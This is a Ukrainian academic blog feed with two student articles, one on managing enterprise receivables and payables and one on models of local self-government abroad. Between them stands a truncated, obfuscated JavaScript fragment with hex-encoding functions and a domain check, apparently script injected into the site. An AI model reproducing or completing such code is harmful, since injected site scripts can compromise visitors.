управління – Науковий блоґ

НАПРЯМКИ МІНІМІЗАЦІЇ ДЕБІТОРСЬКОЇ ТА КРЕДИТОРСЬКОЇ ЗАБОРГОВАНОСТІ В СТРУКТУРІ БАЛАНСУ ПІДПРИЄМСТВА

Ганна Гулюк — Thu, 02 Jun 2016 10:29:54 +0000

Гулюк Г. І.

Студентка економічного факультету

Національного університету «Острозька академія»

НАПРЯМКИ МІНІМІЗАЦІЇ ДЕБІТОРСЬКОЇ ТА КРЕДИТОРСЬКОЇ ЗАБОРГОВАНОСТІ В СТРУКТУРІ БАЛАНСУ ПІДПРИЄМСТВА

У статті розглянуто напрямки мінімізації дебіторської та кредиторської заборгованості підприємства у зв’язку з значною їх часткою в структурі балансу підприємства. Визначено вплив дебіторської та кредиторської заборгованості на фінансовий стан підприємства, а також обґрунтовано необхідність здійснення ефективного управління нею.

Ключові слова: дебіторська заборгованість, кредиторська заборгованість, управління, фінансовий стан підприємства.

В статье рассмотрены направления минимизации дебиторской и кредиторской задолженности предприятия в связи со значительной их долей в структуре баланса предприятия. Определено влияние дебиторской и кредиторской задолженности на финансовое состояние предприятия, а также обоснована необходимость осуществления эффективного управления ею.

Ключевые слова: дебиторская задолженность, кредиторская задолженность, управление, финансовое состояние предприятия.

In article the directions of minimization of receivables and payables of the enterprise in connection with considerable their share in structure of balance of the enterprise are considered. Describe influence of receivables and payables on a financial condition of the enterprise is established, and also need of implementation of effective management is proved by it.

Keywords: accounts receivable, accounts payable, management, financial state of enterprise.

Постановка проблеми. Взаємовідносини внаслідок яких виникає дебіторська та кредиторська заборгованість, розподіл фінансових ресурсів є невід’ємною складовою діяльності підприємства. Дебіторська та кредиторська заборгованість відіграють важливе значення у функціонуванні підприємства, оскільки впливають на рівень його ліквідності та платоспроможності, займають значну частину в структурі балансу суб’єкта господарювання. Неефективне управління ними може спричинити кризове становище підприємства, а ефективність формування і безпосередньо використання − визначає наскільки є результативною його господарська діяльність. Несвоєчасне повернення заборгованості, неповне виконання підприємством власних зобов’язань є результатом неефективного управління його дебіторською та кредиторською заборгованістю.

Аналіз останніх досліджень та публікацій. Проблемні питання управління дебіторською та кредиторською заборгованістю підприємства досліджували у своїх працях ряд таких вітчизняних науковців, як: Н. В. Вірстюк, І. А. Воробйова, О. В. Дячук, І. О. Єригіна, Т. В. Лівошко. Однак, у сучасних умовах розвитку національної економіки та в контексті фінансово-політичної кризи, низка проблем пов’язаних з управлінням дебіторською та кредиторською заборгованістю підприємства потребує подальших досліджень та детального вивчення.

Мета і завдання дослідження. Мета дослідження полягає у визначені напрямків мінімізації дебіторської та кредиторської заборгованості в структурі балансу підприємства на основі вивчення теоретичних аспектів обраної проблематики.

Виклад основного матеріалу. На фінансовий стан підприємства значною мірою впливає наявність та структура його дебіторської та кредиторської заборгованості. Ефективне управління ними є одним з важливих напрямків діяльності підприємства. Перш ніж вирішити проблемні питання управління дебіторською та кредиторською заборгованістю підприємства, визначимо сутність цих понять.

Дебіторська заборгованість підприємства є одним з фінансових показників його діяльності, який визначає рівень ліквідності та платоспроможності суб’єкта господарювання, є заборгованістю дебіторів перед підприємством, яка визначається в грошовій сумі за наданий споживчий та комерційний кредит покупцям, а також може бути в формі авансу постачальникам, щодо яких в підприємства виникає майнове право вимагати оплатити борг.

Визначаючи це поняття, потрібно звернутися до положень стандартів бухгалтерського обліку (далі − П(С)БО). Так, згідно з П(С)БО 10 «Дебіторська заборгованість», який є основним нормативно-законодавчим документом, що визначає це поняття, дебіторська заборгованість – це сума заборгованості дебіторів підприємству на певну дату. Це положення також розкриває значення поняття «дебітори», відповідно до якого, дебітори – це фізичні та юридичні особи, які заборгували підприємству певні суми грошових коштів, їх еквівалентів або інших активів, внаслідок минулих подій [7].

До такої заборгованості відносять як заборгованість, яка удержується підприємством до терміну погашення, так і заборгованість, яка призначається для перепродажу, що утворюється підприємством з метою одержання прибутку у вигляді дивідендів, відсотків.

Також одним з важливих фінансових показників діяльності підприємства є його кредиторська заборгованість. Попри те, що одні з дослідників характеризують кредиторську заборгованість як грошові кошти, другі − як частку майна, треті – як певну форму розрахунків, кредиторська заборгованість завжди є невід’ємною стадією кругообігу капіталу, що повторюється і, в свою чергу, призводить до зростання неперервних господарських операцій з платежами та грошовими надходженнями на підприємстві [3].

З законодавчої точки зору кредиторська заборгованість є зобов’язанням.

Згідно з НП(С)БО 1 «Загальні вимоги до фінансової звітності», зобов’язання — це заборгованість підприємства, яка виникла внаслідок минулих подій і погашення якої в майбутньому, як очікується, призведе до зменшення ресурсів підприємства, що втілюють у собі економічні вигоди. Це визначення є дуже вагомим, оскільки встановлює ті характерні особливості зобов’язань, які позначаються на визнанні цієї позиції як такої [6].

Існують різні підходи до формулювання суті зобов’язань. Їх розглядають як суму витрат, як борг, як розрахункові взаємовідносини, як залучений капітал та як частину вартості майна. Тобто, зобов’язаннями виступає заборгованість підприємства, яка виникає, головним чином, у зв’язку з придбанням товарів та послуг в кредит, або кредити, які підприємство отримує для свого фінансування.

Методологія формування в бухгалтерському обліку інформації про зобов’язання та її розкриття у фінансовій звітності визначені П(С)БО 11 «Зобов’язання». Зобов’язання визнається, якщо його можна достовірно оцінити та існує ймовірність скорочення економічних вигод у майбутньому внаслідок його сплати [8].

В більшості випадків, із здійсненого аналізу дебіторської та кредиторської заборгованості підприємства, можна спостерігати їх збільшення в динаміці в структурі балансу підприємства, що негативно впливає на фінансовий стан суб’єкта господарювання та потребує вжиття певних заходів.

Збільшення дебіторської заборгованості підприємства, терміну протягом якого заборгованість дебіторів обертається в грошові кошти, зменшення інтенсивності її обертання, може свідчити про можливість неплатоспроможності покупців, їх банкрутства, збільшення величини продажів, наявність проблем збуту, непродуманої, нераціональної політики, яку підприємство проводить відносно своїх покупців. Однак, це не доцільно сприймати тільки як негативний фактор, оскільки, якщо заборгованість є нормальною, а не простроченою, то це не створить для підприємства фінансових труднощів, що виражатиметься в нестачі фінансових ресурсів, додаткових фінансових витратах, зменшенні прибутку та ризику неповернення боргів. Також це може бути свідченням проведення підприємством більш м’якої політики з метою розширення ринків збуту. Підприємство не повинно прагнути заморозити кошти в дебіторській заборгованості, тому що, це уповільнить оборотність капіталу, знизить фінансову стійкість суб’єкта господарювання. Чим більше дебіторська заборгованість здійснюватиме оборотів, тим швидше підприємство одержуватиме кошти від своїх дебіторів, що підвищуватиме ліквідність його оборотних коштів.

Домінуючою метою підприємства при управлінні дебіторською заборгованістю має бути мінімізація розміру заборгованості, винятково, простроченої, та термінів інкасації заборгованості з метою збільшення своїх прибутків. Якщо в підприємства наявна заборгованість, за якою минув строк позовної давності, воно повинно вжити будь-яких заходів для її стягнення, приділити безпосередню увагу найдавнішим та найбільшим сумам заборгованості.

При управлінні дебіторською заборгованістю підприємству необхідно використовувати різні методи керування нею, які, в свою чергу, класифікують за певними групами (табл. 1).

Таблиця 1

Методи управління дебіторською заборгованістю підприємства

Методи	Характеристика
Юридичні	Подача позову до суду, претензійна робота, тощо.
Психологічні	Нагадування боржнику по факсу, телефону, пошті про його заборгованість, застосування ЗМІ, або розповсюдження інформації поміж суміжних постачальників.
Економічні	Застосування штрафних санкцій (пеня, штраф, неустойка) за прострочення платежу, призупинення постачання продукції, передача майна та майнових прав в заставу.
Фізичні	Арешт майна особи, яка є боржником.

Джерело: розроблено автором на основі [4]

Для того, щоб прискорити погашення дебіторської заборгованості підприємства необхідно надавати покупцям знижку за зменшення строку її погашення, що спонукатиме їх оплачувати свої рахунки до встановленого строку сплати. Цей метод є широко використовуваним у високорозвинених країнах, оскільки підприємству вигідніше надати знижку на реалізовану ним продукцію та отримати швидку оплату рахунку, ніж втратити частину вартості продукції, яка реалізована, внаслідок інфляції. Також доцільно застосовувати при відпуску товарів передоплату, здійснювати комерційні вексельні розрахунки, що дозволять отримати певний відсоток за відстрочку платежу, використовувати механізм факторингу, що полягає в продажі підприємством банку права на отримання грошових коштів за платіжними дорученнями на реалізовану продукцію, термін оплати якої минув, або є поточним, в обмін на отримання основної частини суми заборгованості (з вирахуванням комісійних відсотків банку, чи факторинговій компанії, величина яких залежить від фактора ризику, чинної відсоткової ставки та термінів сплати заборгованості). Впровадження цих заходів допоможе підприємству зменшити розміри заборгованості дебіторів, надасть можливість використання дебіторської заборгованості в його операційній та інвестиційній діяльності, яка може принести суб’єкту господарювання більше вигоди. Реалізація вказаних основних сучасних форм рефінансування заборгованості, таких як обіг векселів, факторинг, овердрафт, тощо, чомусь є не широко використовуваними на промислових підприємствах, хоча вони істотно прискорюють трансформацію заборгованості дебіторів в грошові кошти.

Загалом, для скорочення величини дебіторської заборгованості підприємства доцільно використовувати різні напрямки мінімізації її величини (табл. 2).

Таблиця 2

Напрямки мінімізації величини дебіторської заборгованості підприємства

№	Характеристика
1	Визначення рівня ризику несплати дебіторами своїх рахунків, поглиблений аналіз їх платоспроможності, фінансового стану, встановлення певних стандартів їх оцінки та ведення картотеки боржників.
2	Збільшення числа споживачів, що зменшить ризик несплати значним одним чи кількома покупцями, визначення кількості потенційних дебіторів.
3	Вчасне визначення заборгованості, яка є сумнівною.
4	Своєчасне оформлення та надання розрахункових документів.
5	Здійснення претензійної роботи у співпраці з юридичною службою.
6	Припинення відносин з дебіторами, які є порушниками платіжної дисципліни.
7	Систематичне здійснення інвентаризації заборгованості.

Джерело: розроблено автором на основі [1]

Щоб реалізовувати ефективну політику керування дебіторською заборгованістю, підприємству необхідно встановити граничні її розміри та терміни погашення, дотримуватися них, та здійснювати чітке її планування. Потрібно встановити такий оптимальний розмір заборгованості, який би надмірно не іммобілізував фінансові ресурси та не створював для підприємства проблем із забезпеченням постійного процесу виробництва, постачання, реалізації і розрахунків за власними зобов’язаннями. Суб’єкт господарювання повинен здійснювати постійний оперативний контроль за рухом заборгованості дебіторів, що дозволить слідкувати за тим, наскільки своєчасно відбувається погашення заборгованості, чи відповідає запропонована підприємством відстрочка здійснення платежу його стану та вимогам ринку. У разі виникнення простроченої дебіторської заборгованості потрібно розробити певну систематичну процедуру для її стягнення та дотримуватись її [4].

В свою чергу, зростання кредиторської заборгованості підприємства, інтенсивності її обертання, зменшення терміну оборотності, може свідчити про нестабільне фінансове становище підприємства, наявність фінансових труднощів, можливість втрати платоспроможності, більший фінансовий ризик для інвесторів та кредиторів, зниження ефективності управління. Однак, не можна оцінювати збільшення періоду погашення позитивно, адже, наявність такого значного терміну погашення заборгованості, створює ризик погіршення ділового іміджу підприємства серед постачальників, зменшення продуктивності праці поміж працівників, застосування зі сторони держави штрафних санкцій, тощо. Залучення суб’єктом господарювання кредитних коштів з однієї сторони розширює його фінансові можливості в оперативному маневруванні джерелами покриття його потреб, але і, водночас, створює ризик, що пов’язаний з примусовістю їх повернення в немалих обсягах в майбутньому.

Забезпечення ефективного управління кредиторською заборгованістю підприємства надасть змогу ліквідувати негативні для нього наслідки її наявності. Управління кредиторською заборгованістю є важливим аспектом в діяльності підприємства, оскільки є провідною опорою в функціонуванні сьогочасного бізнесу. Правильне керування кредиторською заборгованістю може стати порівняно недорогим та додатковим джерелом залучення фінансових ресурсів.

Основні домінанти, якими повинно керуватися підприємство в процесі управління своєю кредиторською заборгованістю, представлено на рисунку 1.

Рис. 1. Основні домінанти управління кредиторською заборгованістю підприємства

Джерело: розроблено автором на основі [2].

Управління кредиторською заборгованістю підприємства може передбачати її оптимізацію та мінімізацію. В більшості випадків доцільніше проводити мінімізацію кредиторської заборгованості, тобто максимальне зменшення її розмірів.

Як і при управлінні дебіторською заборгованістю, необхідно здійснювати прогноз загального розміру кредиторської заборгованості відповідно до цілей та основних показників діяльності підприємства. Суб’єкт господарювання повинен здійснювати постійний контроль за заборгованістю, особливо, що стосується простроченої кредиторської заборгованості, своєчасно виявляти суми заборгованості, які є неприпустимими для підприємства, приймати результативні адміністративні рішення щодо її ліквідації.

Для того, щоб на підприємстві не існувало необґрунтованих сум кредиторської заборгованості, необхідно здійснювати правильне управління його дебіторською заборгованістю. Зменшуючи дебіторську заборгованість, підприємство відповідно зменшує і власну кредиторську заборгованість.

Підприємству потрібно організувати аналітичний облік таким чином, щоб отримувати інформацію про строки погашення та утворення простроченої заборгованості.

Суб’єкту підприємницької діяльності доцільно також створити спеціальний відділ, який здійснюватиме контроль дебіторської та кредиторської заборгованості, але потрібно врахувати доцільність створення цієї служби, адже це додаткові кадри та витрати підприємства. Створення такого відділу раціональне лише на масштабних підприємствах у випадку необхідності [2].

При управлінні дебіторською та кредиторською заборгованістю підприємства необхідно реалізовувати такі напрямки їх мінімізації (табл. 3).

Таблиця 3

Напрямки мінімізації дебіторської та кредиторської заборгованості підприємства

№	Характеристика
1	Обґрунтування можливості виникнення дебіторської та кредиторської заборгованості, аналіз замовлень та оформлення розрахунків.
2	Визначення політики, при якій буде надаватись кредит, та термінів інкасації для різних груп дебіторів та кредиторів.
3	Аналіз та аранжування дебіторів і кредиторів залежно від величини закупівель, запропонованих умов сплати та історії кредитних взаємовідносин, визначення невигідних відносно інкасації видів товарів.
4	Контроль взаєморозрахунків з дебіторами та кредиторами за відстроченою чи простроченою заборгованістю, визначення причин виникнення порушень договірної дисципліни та реальної вартості існуючої кредиторської та дебіторської заборгованості підприємства.
5	Своєчасне визначення засобів прискорення оборотності оборотних активів та зменшення величини безнадійних боргів.
6	Забезпечення умов продажу, що гарантуватимуть надходження грошових коштів, а також здійснення прогнозів надходжень на основі термінів інкасації.

Джерело: розроблено автором на основі [5]

При управлінні заборгованістю в будь-якому випадку підприємство повинно в першу чергу приймати правильні, ефективні та обґрунтовані рішення, адже від прийняття цих рішень сьогодні, залежать перспективи розвитку та становище підприємства взавтра.

Також, одним з важливих напрямів покращення фінансового стану підприємства є збалансування співвідношення дебіторської та кредиторської заборгованості. В більшості випадків спостерігається значне перевищення кредиторської заборгованості, що може вказувати як на те, що підприємство раціонально використовує свої кошти, оскільки більше залучає їх в обіг, ніж вилучає з нього, так і про те, що незважаючи на стан дебіторської заборгованості суб’єкт господарювання змушений погашати свою заборгованість. В такому випадку майбутні надходження не перекривають майбутніх платежів, підприємство не здатне розрахуватися за рахунок заборгованості дебіторів з його кредиторами. Якщо термін погашення кредиторської заборгованості перевищує термін погашення дебіторської заборгованості, необхідно з’ясувати причини такого стану, оскільки випереджувальне зростання кредиторської заборгованості порівняно з дебіторською заборгованістю свідчить про погіршення фінансового стану підприємства, його платоспроможності. Стрімкіша оборотність дебіторської заборгованості, порівнюючи з кредиторською, свідчить про те, що підприємство проводить обмірковану кредитну політику та в змозі спрямовувати отримані від дебіторів грошові кошти на погашення заборгованості перед кредиторами.

Все частіше цьому питанню приділяють все менше уваги, що призводить до неконтрольованого росту заборгованості, в тому числі і простроченої, погіршення фінансового становища підприємства. На деяких підприємствах кредиторська заборгованість перевищує дебіторську в 5-10 разів, коли нормативне перевищення становить 10-20 %. Однак, це не можна оцінювати негативно, оскільки підприємство володіє високоліквідними активами, погашення заборгованості якими суттєво не позначиться на дальшій діяльності підприємства. Варто теж враховувати принцип «Вимагай оплати якомога швидше та оплачуй якомога пізніше». При досягненні балансу дебіторської та кредиторської заборгованості потрібно пам’ятати про баланс їх вартості, щоб витрати, які пов’язані з кредиторською заборгованістю не перевищували доходів, які пов’язані з відстрочкою дебіторської заборгованості. Кредиторська заборгованість суб’єкта господарювання сприятиме збільшенню його конкурентоспроможності та прибутковості, рентабельності власного капіталу, якщо воно матиме чітку стратегію щодо залучення та використання позичкового капіталу [5].

Висновки. Отже, для того, щоб покращувати фінансовий стан підприємства потрібно здійснювати ефективне управління його дебіторською та кредиторської заборгованістю, слідкувати за їх оптимальним співвідношенням. Реалізація запропонованих напрямків мінімізації дебіторської та кредиторської заборгованості надасть можливість підприємству зменшувати їх частку в структурі балансу, підвищувати ефективність використання та вирішувати наявні фінансові проблеми. Удосконаливши систему управління заборгованістю суб’єкт господарювання матиме змогу підвищити результативність своєї діяльності. Прогнозування поведінки, тенденцій заборгованості, вчасне виявлення диспропорцій та суперечностей у її формуванні, надасть змогу підприємству здійснити певні застережні заходи, оцінити власні можливості запобігання погіршенню свого фінансового становища.

Література:

1. Вірстюк Н. В. Удосконалення системи обліку та управління дебіторської заборгованості на сучасному етапі / Н. В. Вірстюк, І. І. Воронцова // Буковинська державна фінансова академія. – [Електронний ресурс]. – Режим доступу: http://-www.rusnauka.com/13_NMN_2011/Economics/7_86543.doc.htm.

2. Воробйова І. А. Механізм розвитку управління заборгованістю підприємства / І. А. Воробйова, А. О. Лисицина // Збірник наукових праць НУК. Серія: економіка та управління підприємствами. – 2011. − № 2. – [Електронний ресурс]. – Режим доступу: http://jnn.nuos.edu.ua/article/viewFile/25407/22873.

3. Дячук О. В. Місце кредиторської заборгованості в системі управління підприємством / О. В. Дячук, В. В. Новодворська // Економічні науки. Cер. : Облік і фінанси. − 2013. − Вип. 10(3). − С. 243-251. – [Електронний ресурс]. – Режим доступу: file:///D:/Downloads/ecnof_2013_10(3)__42%20(9).pdf.

4. Єригіна І. О. Проблема управління дебіторською заборгованістю підприємства та шляхи її вирішення / І. О. Єригіна // Криворізький економічний інститут «Київський національний економічний університет імені Вадима Гетьмана».Серія:Економічні науки/ Облік та аудит. – [Електронний ресурс]. − Режим доступу: http://www.rusnauka.com/12_KPSN_2010/Economics/-63411.doc.htm.

5. Лівошко Т. В. Управління дебіторською та кредиторською заборгованістю промислового підприємства / Т. В. Лівошко, Ю. Сезонко // Економічний вісник Запорізької державної інженерної компанії. − 2013. – Випуск 4. − С. 88-93. – [Електронний ресурс]. – Режим доступу: http://www.-zgia.zp.ua/gazeta/evzdia_4_088.-pdf.

6. Національне положення (стандарт) бухгалтерського обліку 1 «Загальні вимоги до фінансової звітності»: Наказ Міністерства фінансів України № 73 від 07.02.2013 р. (із змінами і доповненнями). – [Електронний ресурс]. – Режим доступу: http://dt-kt.com.ua/show/2cid011160.html.

7. Положення (стандарт) бухгалтерського обліку 10 «Дебіторська заборгованість»: Наказ Міністерства фінансів України № 237 від 08.10.1999 р. (із змінами і доповненнями). – [Електронний ресурс]. – Режим доступу: http://zakon5.rada.gov.-ua/laws/show/z0725-99.

8. Положення (стандарт) бухгалтерського обліку 11 «Зобов’язання»: Наказ Міністерства фінансів України № 20 від 30.01.2000 р. (із змінами і доповненнями). – [Електронний ресурс]. – Режим доступу: http://zakon3.rada.-gov.ua/laws/show/z008500.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “naub.oa.edu.ua”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e

Політико-правовий статус територіальних громад (утворень) в сучасних зарубіжних країнах

Ольга Якимець — Sat, 12 May 2012 14:51:21 +0000

Досліджено процес становлення сучасних правових форм місцевого самоврядування та проаналізовано погляди науковців що до організації влади на місцях та основними засадами взаємодії між центральною (державною) та місцевою (муніципальною) владами.
Ключові слова: територіальна громада, міцеве самоврядування, реформа, влада, громадяни, управління, модель управління.
The formation process of modern forms of local government was researched. The views of scientists about the organization of local authorities and and the basic principles of interaction between the central (state) and local (municipal) authorities were analyzed.
Key words: local community, local and regional government reform, the government, citizens, management, management model.
В європейських державах децентралізація і централізація не розглядаються як діаметрально протилежні концепції організації влади на місцях. При проведенні реформ головна проблема полягає не в тому, щоб зробити вибір між децентралізацією і централізацією, а в тому, щоб встановити необхідний і доцільний баланс між ними, який адекватно відповідав би реальним соціально-економічним та політичним умовам конкретної країни.
Викладення основного матеріалу: У кожній державі, залежно від особливостей її політичного устрою, форми правління, історичних, політичних та інших чинників, місцеве самоврядування має свою специфіку і навіть називається по-різному. Так, наприклад, в деяких країнах англосаксонської групи використовується поняття «муніципальне управління», в Японії – «місцева автономія», у Франції – «територіальна децентралізація» [5,85].
Суттю місцевого самоврядування є гарантоване державою право та реальна здатність самих територіальних спільнот громадян (комун, муніципалітетів, общин, територіальних колективів, територіальних громад – в різних країнах вони називаються по-різному) та/або тих органів, які вони обирають (органів місцевого самоврядування), вирішувати самостійно, під свою відповідальність питання місцевого значення, діючи в межах Конституції та законів відповідної держави.
У різних державах з метою ефективної організації влади на місцях застосовуються різні системи місцевих органів управління та органів місцевого самоврядування (системи управління на місцях), на вибір яких впливають такі фактори, як неоднаковий підхід до розуміння державної влади, розмежування адміністративно-територіальних одиниць на «природні» та «штучні», національні та історичні особливості і традиції тощо. Останнім часом у літературі виділяють чотири основні системи:
Англо-американська (англосаксонська) система характеризується тим, що на всіх субнаціональних рівнях управління функціонують органи місцевого самоврядування, а місцеві органи виконавчої влади загальної компетенції не створюються (наприклад. Велика Британія, США, Канада, Австралія, близька до подібної системи організація влади на місцях і в Росії) [6,426].
Становлення англосаксонської муніципальної системи в основному було завершене реформою 1888 р., в ході якої були визначені територіальні основи місцевого самоврядування, його організаційна та фінансова самостійність, структура органів місцевого самоврядування та їх повноваження. Характерними рисами цієї системи є: значна автономія органів місцевого самоврядування у відношенні до держави – вони формально виступають як такі, що діють автономно в межах наданих їм повноважень, а пряме підпорядкування органів різного територіального рівня відсутнє; відсутність на місцях повноважних представників центральної влади, які б опікали органи місцевого самоврядування. Контроль за діяльністю органів місцевого самоврядування здійснюється переважно непрямим шляхом – через центральні міністерства. Цій моделі притаманний також жорсткий судовий контроль; виборність ряду посадових осіб місцевого самоврядування територіальною громадою; функціонування органів місцевого самоврядування в межах своєї компетенції, закріпленої в законі (доктрина inter vires), і заборона їх виходу за межі своєї компетенції (ultra vires). Тобто, повноваження місцевого самоврядування визначаються згідно позитивним принципом правового регулювання (органи місцевого самоврядування можуть робити лише те, що прямо передбачено законом).
Правова форма та основні елементи другої системи склалися ще в період еволюції Римської держави. Так, у процесі формування єдиної централізованої держави та переходу від античної республіки до абсолютної монархії неримське населення вело постійну боротьбу за рівні з громадянами Риму політичні і громадянські права. Особливо гострим було питання щодо політичного рівноправ’я, що значно розширювало можливості населення інших громад – municipes (неримських громадян) для участі як у суспільно-державному житті, так і в торговельно-економічному обороті на основі римського приватного права. Оскільки італійські та інші громади і провінції забезпечували Рим всім необхідним для його існування як центру держави, вони також вимагали від нього повного обсягу політичних і громадянських прав і свобод.
У той час ця боротьба не увінчалася успіхом. Навіть після того як римське право було поширене на всю територію Римської імперії, міста та громади за межами Риму залишалися mumcipium – такими, що не мають політичних прав, навіть при здійсненні ними незначної юрисдикції, яка була повністю підпорядкована римським магістратам (префектам чи іншим чиновникам). Вони призначалися в міста центральною владою і жорстко забезпечували проведення в життя норм римського права і приписів римських органів та посадових осіб. З часом їх адміністративна компетенція та судова влада поступово розширювалася і, навпаки, муніципальні магістрати позбавлялися владних повноважень і потрапили в повне підпорядкування до римських магістрів.
Так закладалися правові та політичні засади взаємодії між центральною (державною) та місцевою (муніципальною) владами за умови жорсткої опіки останньої представниками центральної влади на місцях.
Континентальна (романо-германська або європейська) система будується на поєднанні місцевого самоврядування і місцевого управління і виходить з різного тлумачення «природних» та «штучних» адміністративно-територіальних одиниць. Така система може мати два різновиди:
1) на всіх субнаціональних рівнях, за винятком низового, одночасно функціонують виборні органи територіальної громади (в тому числі й органи «вторинної» територіальної громади – територіальної громади «штучної» адміністративно-територіальної одиниці) та призначені представники центральної влади (місцеві державні адміністрації), які здійснюють адміністративний контроль за діяльністю органів місцевого самоврядування (наприклад, можуть зупиняти на певний строк рішення органів місцевого самоврядування, звертатися до глави держави або парламенту з пропозицією щодо дострокового припинення їх повноважень). При цьому на низовому рівні функціонують виключно органи первинної територіальної громади. Подібна система існує, зокрема, у Франції та Італії;
2) на низовому рівні – в «природних» адміністративно-територіальних одиницях створюються лише органи місцевого самоврядування, а на регіональному та субрегіональному рівнях (в «штучних» адміністративно-територіальних одиницях) функціонують призначені місцеві державні адміністрації загальної компетенції. Можливий варіант, коли і на регіональному (субрегіональному) рівні функціонують виборні органи місцевого самоврядування, але вони мають принципово іншу природу – це не представницькі органи територіальних громад «штучних» адміністративно-територіальних одиниць (їх існування не визнається), а органи представництва інтересів територіальних громад «природних» адміністративно-територіальних одиниць на регіональному (субрегіональному) рівні. Подібна система застосовується, зокрема, в Польщі, Болгарії, Туреччині, Фінляндії, Іраку.
Іберійська система (зокрема, Бразилія, Португалія, Мексика, з певними особливостями Іспанія) передбачає, що управління на всіх субнаціональних рівнях здійснюють обрані населенням представницькі органи місцевого самоврядування (ради) та відповідні головні посадові особи місцевого самоврядування (мери, регідори, префекти, алькади тощо). Ці посадові особи стають головами відповідних рад і одночасно затверджуються центральними органами державної влади як представники державної влади в адміністративно-територіальних одиницях.
Радянська система (система рад та їх виконавчих комітетів) базується на запереченні розподілу влад і визнанні повновладдя представницьких органів знизу до верху. Ця система передбачає, що всі ради, починаючи з найнижчого рівня, є органами державної влади на своїй території, всі інші органи держави прямо або опосередковано підпорядковані радам. Система рад характеризується ієрархічною підпорядкованістю всіх її елементів та відсутністю будь-якої самостійності місцевих органів. Сьогодні подібна система збереглася лише в деяких країнах, зокрема в КНР, КНДР[1, 15].
Аналіз відповідних положень Конституції України дозволяє зробити висновок, що в Україні застосовується континентальна (її другий різновид) система управління на місцях.
Новітній етап розвитку місцевого самоврядування в Європі розпочався в 60-ті роки XX століття і характеризується проведенням важливих структурних, функціональних та організаційних реформ систем організації влади на місцях. Ці реформи стосуються різних територіальних рівнів управління, вони зачіпають відносини між місцевими та центральними органами влади, між різними рівнями місцевого і регіонального управління та самоврядування.
Структурні реформи стосуються організаційних відносин між різними рівнями місцевого управління. Вони пов’язані з реформуванням системи адміністративного-територіального устрою держави, а також із запровадженням самоврядування на регіональному рівні.
Результатом таких реформ стало укрупнення територіальних громад (наприклад, Велика Британія, ФРН, Швеція). Європейський досвід свідчить, що зміна територіальних меж муніципалітетів, укрупнення громад, їх злиття повинно вирішуватися законодавчим шляхом з урахуванням думки членів відповідних громад [4,96].
Функціональні реформи були спрямовані на перерозподіл функціональних відносин між місцевими, регіональними та центральними органами управління. Вони проводилися одночасно із структурними реформами та тісно пов’язані такими поняттями, як «централізація», «децентралізація», «деконцентрація». їх результатом стало розширення компетенції регіональних та місцевих органів влади, тобто децентралізація управління, під якою розуміють передачу центральною владою окремих владних повноважень органам місцевого самоврядування («передачу прав на прийняття рішень органам, які не перебувають в ієрархічній підпорядкованості центральним органам влади і які часто обираються зацікавленими громадянами»)[2,392]. На відміну від децентралізації централізація являє собою «форму організації адміністративної служби, за якої держава як юридична особа, і тільки вона, забезпечує функціонування адміністративної служби» [3,9].
Децентралізація може супроводжуватися деконцентрацією – передачею повноважень з центрального на місцевий рівень чиновникам, які призначаються центральною владою, наприклад, передача важливих прав з прийняття рішень представникам центральної влади, поставлених на чолі різних адміністративних округів або державних служб [2,392]. При цьому розрізняють вертикальну і горизонтальну деконцентрацію. У межах вертикальної деконцентрації всі повноваження по представництву інтересів центральної влади на місцевому рівні передаються одному державному чиновнику (префекту, комісару тощо), а горизонтальна деконцентрація пов’язана з розподілом обов’язків між кількома центрами влади на місцевому рівні за галузевим принципом.
Водночас необхідно мати на увазі, що демократизм політичної системи в цілому не завжди прямо пов’язаний з рівнем децентралізації і деконцентрації. У демократичних державах необхідність децентралізації владних повноважень може бути обумовлена не стільки демократичними принципами, деякі з яких краще забезпечуються централізовано, скільки чинниками адміністративного характеру. А в державах, де ще немає сталих демократичних традиції, а формально існуюча система місцевих органів влади не відповідає реальному механізму місцевої влади, децентралізація може навіть призвести до пониження рівня демократизму місцевого управління – передані центральною владою повноваження спрямовуються на задоволення корпоративних інтересів локальних еліт.
Тому надмірну децентралізацію та автономію місцевих органів влади не можна розглядати як абсолютне благо з точки зору демократії. Централізація влади також має певне позитивне значення, вона забезпечує переваги єдиного управління, вільного від місцевих політичних спорів, і запобігає, як зазначав Ж.Ведель, «зловживанням владою з боку сільських самодурів». В окремих випадках централізація дозволяє краще скоординувати діяльність місцевих служб та понизити вартість послуг, які надаються місцевими органами.

СПИСОК ВИКОРИСТАНОЇ ЛІТЕРАТУРИ

1. Біленчук П.Д. Місцеве самоврядування в Україні (муніципальне право): Навчальний посібник / П.Д. Біленчук, В.В. Кравченко, М.В. Підмогильний. – К.: Атіка, 2000. – 304 с.
2. Ведель Ж. Административное право Франции / Ж. Ведель. – [Пер. с франц.]. – М.: Прогресс, 1973. – 512 с.
3. Гримо Ж. Организация административной власти во Франции / Ж. Гримо. – М.: Интратэк-Р, 1994. – 261 с.
4. Корпань О.В. Правові проблеми організації місцевого самоврядування в Україні / О.В. Корпань. – К.: Оріяни, 2001. – 144 с.
5. Муніципальне право України: Підручник / [В.Ф. Погорілко, О.Ф. Фрицький, М.О. Баймуратов та ін.]; за ред. В.Ф. Погорілка, О.Ф. Фрицького. – К.: Юрінком Інтер, 2001. – 352 с.
6. Чиркин В.Е. Конституционное право: Россия и зарубежный опыт / В.Е. Чиркин. – М.: Зерцало, 1998. – 448 с.